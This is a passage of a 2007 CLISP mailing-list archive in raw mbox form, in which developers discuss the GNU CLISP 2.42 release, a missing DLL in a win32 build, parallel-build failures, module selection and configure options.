[145.97.223.120] (120pc223.sshunet.nl [145.97.223.120]) by pollux.sshunet.nl (Postfix) with ESMTP for ; Wed, 17 Oct 2007 16:01:04 +0200 (CEST) Message-ID: <4716164D.7060804@gentoo.org> Date: Wed, 17 Oct 2007 16:03:57 +0200 From: "Marijn Schouten (hkBst)" User-Agent: Thunderbird 2.0.0.6 (X11/20070802) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <47160249.1020007@gentoo.org> <47160EF5.2070007@gnu.org> In-Reply-To: <47160EF5.2070007@gnu.org> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] parallel build fails [Re: [clisp-announce] GNU CLISP 2.42 (2007-10-16) released] X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 14:01:14 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sam Steingold wrote: > I don't know how parallel build works. If the makefile specifies all the dependencies correctly, then it's possible to do parallel builds. I'm not sure how finegrained the parallelicity is, but imagine that if one target depends on two other targets that those will be built in parallel, instead of one after the other. But if there is a dependency between those two targets that is not specified in the makefile the build may run fine with -j1 but fail for higher values. -j specifies the number of parallel instances of make to run. > http://www.cygwin.com/acronyms/#PTC Duly noted, I just wanted to mention it. Marijn - -- Marijn Schouten (hkBst), Gentoo Lisp project , #gentoo-lisp on FreeNode -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHFhZMp/VmCx0OL2wRAjErAJ9nJAoddDTeOFQQg9h2PnAaF45HTgCeMxUy zx6hciG+UAi+6dEOXS41Rgw= =60r2 -----END PGP SIGNATURE----- From marko.kocic@gmail.com Wed Oct 17 07:41:47 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiA5i-0001K4-Op for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 07:41:46 -0700 Received: from rv-out-0910.google.com ([209.85.198.190]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiA5g-0001gM-N3 for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 07:41:45 -0700 Received: by rv-out-0910.google.com with SMTP id g11so6550247rvb for ; Wed, 17 Oct 2007 07:41:44 -0700 (PDT) Received: by 10.141.198.8 with SMTP id a8mr4215918rvq.1192632104294; Wed, 17 Oct 2007 07:41:44 -0700 (PDT) Received: by 10.141.171.14 with HTTP; Wed, 17 Oct 2007 07:41:44 -0700 (PDT) Message-ID: <9238e8de0710170741u3572e7e3y2d4ad428c3c36976@mail.gmail.com> Date: Wed, 17 Oct 2007 16:41:44 +0200 From: "=?UTF-8?Q?Marko_Koci=C4=87?=" To: clisp-list@lists.sourceforge.net In-Reply-To: <47161395.6070900@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <47161395.6070900@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Cc: Jack Unrue Subject: Re: [clisp-list] [clisp-announce] GNU CLISP 2.42 (2007-10-16) released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 14:41:47 -0000 When I tried to execute clisp on win32 using this package, I got an error message saying that libiconv-2.dll is missing, Running clisp 2.41 works ok. Regards, Marko On 10/17/07, Sam Steingold wrote: > Jack Unrue wrote: > > I have uploaded clisp-2.42-win32-mingw-without-readline.zip to > > upload.sourceforge.net/incoming > > > > clisp-2.42-win32-mingw-without-readline.zip > > built by Jack Unrue > > using mingw without i18n and readline > > with rawsock, dirkey, wildcard and bindings/win32 > > thanks, uploaded. > > > It looks like autoconf needed to be run one last time so the > > version string could be set to 2.42 rather than 2.41.1. I just > > fixed that manually in configure and version.h prior to building > > the distribution zip, and I verified that 'clisp --version' and > > (lisp-implementation-version) report the correct version. > > ouch! > I can't believe I did this again! > > > The install.bat file was not getting copied into my build > > directory, and hence not into the distribution. I copied > > it in manually so it would be in the right place when the > > zip file got built. > > hmm - is this a regression? could you please investigate? > from what I see in makemake.in it should work. > > > Congratulations to Sam on this latest release! > > thanks! > and thanks to all the contributors! > > Sam. > > ------------------------------------------------------------------------- > This SF.net email is sponsored by: Splunk Inc. > Still grepping through log files to find problems? Stop. > Now Search log events and configuration files using AJAX and a browser. > Download your FREE copy of Splunk now >> http://get.splunk.com/ > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From jdunrue@gmail.com Wed Oct 17 08:12:08 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiAZ6-00056t-FR for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 08:12:08 -0700 Received: from nz-out-0506.google.com ([64.233.162.234]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiAZ5-0006cB-0l for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 08:12:08 -0700 Received: by nz-out-0506.google.com with SMTP id f1so5803805nzc for ; Wed, 17 Oct 2007 08:12:06 -0700 (PDT) Received: by 10.114.126.1 with SMTP id y1mr716888wac.1192633925770; Wed, 17 Oct 2007 08:12:05 -0700 (PDT) Received: by 10.114.52.2 with HTTP; Wed, 17 Oct 2007 08:12:05 -0700 (PDT) Message-ID: Date: Wed, 17 Oct 2007 09:12:05 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <9238e8de0710170741u3572e7e3y2d4ad428c3c36976@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-2 Content-Transfer-Encoding: base64 Content-Disposition: inline References: <47161395.6070900@gnu.org> <9238e8de0710170741u3572e7e3y2d4ad428c3c36976@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] [clisp-announce] GNU CLISP 2.42 (2007-10-16) released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 15:12:09 -0000 T24gMTAvMTcvMDcsIE1hcmtvIEtvY2nmIDxtYXJrby5rb2NpY0BnbWFpbC5jb20+IHdyb3RlOgo+ IFdoZW4gSSB0cmllZCB0byBleGVjdXRlIGNsaXNwIG9uIHdpbjMyIHVzaW5nIHRoaXMgcGFja2Fn ZSwgSSBnb3QgYW4KPiBlcnJvciBtZXNzYWdlIHNheWluZyB0aGF0IGxpYmljb252LTIuZGxsIGlz IG1pc3NpbmcsCj4KPiBSdW5uaW5nIGNsaXNwIDIuNDEgd29ya3Mgb2suCgpUaGFua3MgZm9yIHRo ZSByZXBvcnQsIEkgd2lsbCBjcmVhdGUgYSBuZXcgYnVpbGQgYW5kIHVwbG9hZCBpdAp0aGlzIGV2 ZW5pbmcuCgotLSAKSmFjayBVbnJ1ZQo= From jdunrue@gmail.com Wed Oct 17 08:13:17 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiAaD-0005Ji-Bf for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 08:13:17 -0700 Received: from nz-out-0506.google.com ([64.233.162.239]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiAaA-0006fj-Q7 for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 08:13:16 -0700 Received: by nz-out-0506.google.com with SMTP id f1so5805066nzc for ; Wed, 17 Oct 2007 08:13:12 -0700 (PDT) Received: by 10.114.130.1 with SMTP id c1mr9975605wad.1192633991390; Wed, 17 Oct 2007 08:13:11 -0700 (PDT) Received: by 10.114.52.2 with HTTP; Wed, 17 Oct 2007 08:13:11 -0700 (PDT) Message-ID: Date: Wed, 17 Oct 2007 09:13:11 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <47161395.6070900@gnu.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <47161395.6070900@gnu.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] [clisp-announce] GNU CLISP 2.42 (2007-10-16) released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 15:13:17 -0000 On 10/17/07, Sam Steingold wrote: > Jack Unrue wrote: > > > The install.bat file was not getting copied into my build > > directory, and hence not into the distribution. I copied > > it in manually so it would be in the right place when the > > zip file got built. > > hmm - is this a regression? could you please investigate? > from what I see in makemake.in it should work. Yep, I'll look into it. -- Jack Unrue From sds@podval.org Wed Oct 17 13:00:53 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiF4W-0004b7-UR for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 13:00:53 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiF4V-00071E-GI for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 13:00:52 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A9EA0728; Wed, 17 Oct 2007 16:00:42 -0400 Message-ID: <471669E7.5000902@podval.org> Date: Wed, 17 Oct 2007 16:00:39 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <471663CE.60207@gmail.com> In-Reply-To: <471663CE.60207@gmail.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 20:00:53 -0000 Yaroslav Kavenchuk wrote: > I have uploaded clisp-2.42-win32-with-readline-and-gettext.zip to > upload.sf.net/incoming > > > clisp-2.42-win32-with-readline-and-gettext.zip > built by Yaroslav Kavenchuk > using mingw with readline, gettext, i18n, rawsock, dirkey, wildcard, > bindings/win32, > pcre and zlib. thanks - uploaded! BTW, why do both you and Jack omit libsvm from the release? I understand that you might not be excited by a data mining package, but it is valuable to a part of our target audience (AI researchers). It is recommended in unix/INSTALL, section "Additional Information for Maintainers of Binary Packages", item 3 "Module selection". Sam. From sds@podval.org Wed Oct 17 13:19:47 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiFMp-0006iv-KY for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 13:19:47 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiFMo-0004uU-1q for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 13:19:47 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AE5C0648; Wed, 17 Oct 2007 16:19:40 -0400 Message-ID: <47166E5B.50209@podval.org> Date: Wed, 17 Oct 2007 16:19:39 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: "Marijn Schouten (hkBst)" References: <471605B7.50600@gentoo.org> <47160E43.1010801@gnu.org> <47161724.8040905@gentoo.org> In-Reply-To: <47161724.8040905@gentoo.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] --with-dynamic-ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 20:19:47 -0000 Marijn Schouten (hkBst) wrote: > > Configure findings: > FFI: yes (user requested: default) > readline: yes (user requested: default) > libsigsegv: yes > > To continue building CLISP, the following commands are recommended > (cf. unix/INSTALL step 4): > cd builddir > ./makemake --with-dynamic-ffi --prefix=/usr --libdir=/usr/lib64 > --hyperspec=http://www.lisp.org/HyperSpec/FrontMatter/ --with-module=wildcard > --with-module=rawsock --wit > h-module=bindings/glibc --with-module=clx/mit-clx --with-module=pcre > --with-module=zlib --srcdir=../src > Makefile > make config.lisp apparently, there is some confusion here. the top-level configure does NOT need --with-dynamic-ffi: it will test for it and use it by default. makemake, however, DOES need it, and configure does put it into the list of recommended options, and does pass it to makemake when it calls it itself (when configure if invoked with --build). however, I see no trace of makemake being invoked in your your. did you call it by hand? >> do you have the full log floating somewhere? > Sure, attached. next time, please send a URL. this list has a very strict anti-spam rules, including "no html", "no attachments" etc etc. http://clisp.cons.org/impnotes/faq.html#faq-rejected Sam. From rms@gnu.org Wed Oct 17 13:49:02 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiFp7-0001EV-Th for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 13:49:01 -0700 Received: from fencepost.gnu.org ([140.186.70.10]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IiFp6-0008Pi-AP for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 13:49:01 -0700 Received: from rms by fencepost.gnu.org with local (Exim 4.60) (envelope-from ) id 1IiFp2-0003Bz-Lr; Wed, 17 Oct 2007 16:48:56 -0400 Content-Type: text/plain; charset=ISO-8859-15 From: Richard Stallman To: clisp-list@lists.sourceforge.net In-reply-to: (ssteingold@janestcapital.com) References: Message-Id: Date: Wed, 17 Oct 2007 16:48:56 -0400 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] GNU CLISP 2.42 (2007-10-16) released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: rms@gnu.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 17 Oct 2007 20:49:02 -0000 Congratulations on the new release. From jdunrue@gmail.com Wed Oct 17 21:01:35 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiMZi-0008M5-PQ for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 21:01:35 -0700 Received: from wa-out-1112.google.com ([209.85.146.181]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiMZi-0005nG-EV for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 21:01:34 -0700 Received: by wa-out-1112.google.com with SMTP id k22so68135waf for ; Wed, 17 Oct 2007 21:01:33 -0700 (PDT) Received: by 10.115.111.1 with SMTP id o1mr98106wam.1192680093369; Wed, 17 Oct 2007 21:01:33 -0700 (PDT) Received: by 10.114.52.2 with HTTP; Wed, 17 Oct 2007 21:01:33 -0700 (PDT) Message-ID: Date: Wed, 17 Oct 2007 22:01:33 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-2 Content-Transfer-Encoding: base64 Content-Disposition: inline References: <47161395.6070900@gnu.org> <9238e8de0710170741u3572e7e3y2d4ad428c3c36976@mail.gmail.com> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] [clisp-announce] GNU CLISP 2.42 (2007-10-16) released X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 04:01:35 -0000 T24gMTAvMTcvMDcsIEkgd3JvdGU6Cj4gT24gMTAvMTcvMDcsIE1hcmtvIEtvY2nmIDxtYXJrby5r b2NpY0BnbWFpbC5jb20+IHdyb3RlOgo+ID4gV2hlbiBJIHRyaWVkIHRvIGV4ZWN1dGUgY2xpc3Ag b24gd2luMzIgdXNpbmcgdGhpcyBwYWNrYWdlLCBJIGdvdCBhbgo+ID4gZXJyb3IgbWVzc2FnZSBz YXlpbmcgdGhhdCBsaWJpY29udi0yLmRsbCBpcyBtaXNzaW5nLAo+ID4KPiA+IFJ1bm5pbmcgY2xp c3AgMi40MSB3b3JrcyBvay4KPgo+IFRoYW5rcyBmb3IgdGhlIHJlcG9ydCwgSSB3aWxsIGNyZWF0 ZSBhIG5ldyBidWlsZCBhbmQgdXBsb2FkIGl0Cj4gdGhpcyBldmVuaW5nLgoKSSBoYXZlIHVwbG9h ZGVkIGEgcmVwbGFjZW1lbnQgZm9yCmNsaXNwLTIuNDItd2luMzItbWluZ3ctd2l0aG91dC1yZWFk bGluZS56aXAKCmxpYmljb252IGlzIG5vdyBsaW5rZWQgc3RhdGljYWxseS4gQW5kIGFzIG5vdGVk IGJlbG93LCBJIGhhdmUKaW5jbHVkZWQgdGhlIGxpYnN2bSBtb2R1bGUuCgpjbGlzcC0yLjQyLXdp bjMyLW1pbmd3LXdpdGhvdXQtcmVhZGxpbmUuemlwCiBidWlsdCBieSBKYWNrIFVucnVlIDxqZHVu cnVlQGdtYWlsLmNvbT4KIHVzaW5nIG1pbmd3IHdpdGhvdXQgaTE4biBhbmQgcmVhZGxpbmUKIHdp dGggbGlic3ZtLCByYXdzb2NrLCBkaXJrZXksIHdpbGRjYXJkIGFuZCBiaW5kaW5ncy93aW4zMgoK LS0gCkphY2sK From jdunrue@gmail.com Wed Oct 17 21:02:35 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiMah-0008Ra-FF for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 21:02:35 -0700 Received: from wa-out-1112.google.com ([209.85.146.183]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiMag-00071i-6e for clisp-list@lists.sourceforge.net; Wed, 17 Oct 2007 21:02:35 -0700 Received: by wa-out-1112.google.com with SMTP id k22so68488waf for ; Wed, 17 Oct 2007 21:02:34 -0700 (PDT) Received: by 10.115.94.1 with SMTP id w1mr99828wal.1192680153759; Wed, 17 Oct 2007 21:02:33 -0700 (PDT) Received: by 10.114.52.2 with HTTP; Wed, 17 Oct 2007 21:02:33 -0700 (PDT) Message-ID: Date: Wed, 17 Oct 2007 22:02:33 -0600 From: "Jack Unrue" To: clisp-list@lists.sourceforge.net In-Reply-To: <471669E7.5000902@podval.org> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <471663CE.60207@gmail.com> <471669E7.5000902@podval.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 04:02:35 -0000 On 10/17/07, Sam Steingold wrote: > > BTW, why do both you and Jack omit libsvm from the release? > > I understand that you might not be excited by a data mining package, but > it is valuable to a part of our target audience (AI researchers). > > It is recommended in unix/INSTALL, section "Additional Information for > Maintainers of Binary Packages", item 3 "Module selection". That's fine with me. I will include the libsvm module from now on. See my other email. -- Jack Unrue From kavenchuk@jenty.by Thu Oct 18 01:32:44 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiQo6-0000Lr-5q for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 01:32:42 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiQo3-0008Rd-T9 for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 01:32:41 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id VD9734NF; Thu, 18 Oct 2007 10:40:06 +0300 Message-ID: <47170D4D.2090307@jenty.by> Date: Thu, 18 Oct 2007 10:37:49 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] clisp-2.42-win32-with-readline-and-gettext.zip X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 08:32:44 -0000 Sam Steingold wrote: > BTW, why do both you and Jack omit libsvm from the release? > > I understand that you might not be excited by a data mining package, but > it is valuable to a part of our target audience (AI researchers). > > It is recommended in unix/INSTALL, section "Additional Information for > Maintainers of Binary Packages", item 3 "Module selection". `clisp-2.42-win32-with-readline-and-gettext.zip` with module libsvm: http://kavenchuk.googlepages.com/clisp-2.42-win32-with-readline-gette.zip Upload it to sf.net? If upload - with new or old name? -- WBR, Yaroslav Kavenchuk. From hkBst@gentoo.org Thu Oct 18 03:30:07 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiSdi-0003Tw-W4 for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 03:30:07 -0700 Received: from castor.sshunet.nl ([145.97.192.41]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiSdh-0005DB-85 for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 03:30:06 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by castor.sshunet.nl (Postfix) with ESMTP id C878257C014 for ; Thu, 18 Oct 2007 12:29:58 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at castor.sshunet.nl Received: from castor.sshunet.nl ([127.0.0.1]) by localhost (castor.sshunet.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id gzfP7ZpphjdD for ; Thu, 18 Oct 2007 12:29:58 +0200 (CEST) Received: from [145.97.222.45] (45pc222.sshunet.nl [145.97.222.45]) by castor.sshunet.nl (Postfix) with ESMTP for ; Thu, 18 Oct 2007 12:29:58 +0200 (CEST) Message-ID: <47173661.4010603@gentoo.org> Date: Thu, 18 Oct 2007 12:33:05 +0200 From: "Marijn Schouten (hkBst)" User-Agent: Thunderbird 2.0.0.6 (X11/20070802) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <471605B7.50600@gentoo.org> <47160E43.1010801@gnu.org> <47161724.8040905@gentoo.org> <47166E5B.50209@podval.org> In-Reply-To: <47166E5B.50209@podval.org> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] --with-dynamic-ffi X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 18 Oct 2007 10:30:07 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Sam Steingold wrote: > Marijn Schouten (hkBst) wrote: >> >> Configure findings: >> FFI: yes (user requested: default) >> readline: yes (user requested: default) >> libsigsegv: yes >> >> To continue building CLISP, the following commands are recommended >> (cf. unix/INSTALL step 4): >> cd builddir >> ./makemake --with-dynamic-ffi --prefix=/usr --libdir=/usr/lib64 >> --hyperspec=http://www.lisp.org/HyperSpec/FrontMatter/ >> --with-module=wildcard >> --with-module=rawsock --wit >> h-module=bindings/glibc --with-module=clx/mit-clx --with-module=pcre >> --with-module=zlib --srcdir=../src > Makefile >> make config.lisp > > apparently, there is some confusion here. > the top-level configure does NOT need --with-dynamic-ffi: it will test > for it and use it by default. > makemake, however, DOES need it, and configure does put it into the list > of recommended options, and does pass it to makemake when it calls it > itself (when configure if invoked with --build). > however, I see no trace of makemake being invoked in your your. > did you call it by hand? Yes. Because "configure --build" includes running tests my build script calls makemake (and other steps) separately, but with almost the same options. This is so that users can choose for themselves whether they want to run the tests or not. I imagine it's simple enough to exclude tests from "configure - --build". Would you accept a patch for such a change? Thanks for the clarification. >>> do you have the full log floating somewhere? >> Sure, attached. > > next time, please send a URL. > this list has a very strict anti-spam rules, including "no html", "no > attachments" etc etc. > http://clisp.cons.org/impnotes/faq.html#faq-rejected Sorry about that. Marijn - -- Marijn Schouten (hkBst), Gentoo Lisp project , #gentoo-lisp on FreeNode -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.7 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFHFzZhp/VmCx0OL2wRAtJ7AJ44H778joQcxv35jzLwITpoJ4ABHQCeJfhs n0YBCfmFX8lduyA8UWyq7LU= =q4wA -----END PGP SIGNATURE----- From sds@gnu.org Thu Oct 18 06:22:56 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IiVKy-0003hS-L5 for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 06:22:56 -0700 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IiVKw-0001AY-2L for clisp-list@lists.sourceforge.net; Thu, 18 Oct 2007 06:22:55 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AE230804; Thu, 18 Oct 2007 09:22:43 -0400 Message-ID: <47175E23.8080701@gnu.org> Date: Thu, 18 Oct 2007 09:22:43 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 Followup-To: gmane.lisp.clisp.general To: Yaroslav Kavenchuk References: <47170D4D.2090307@jenty.by> In-Reply-To: <47170D4D.2090307@jenty.by> Content-Type: 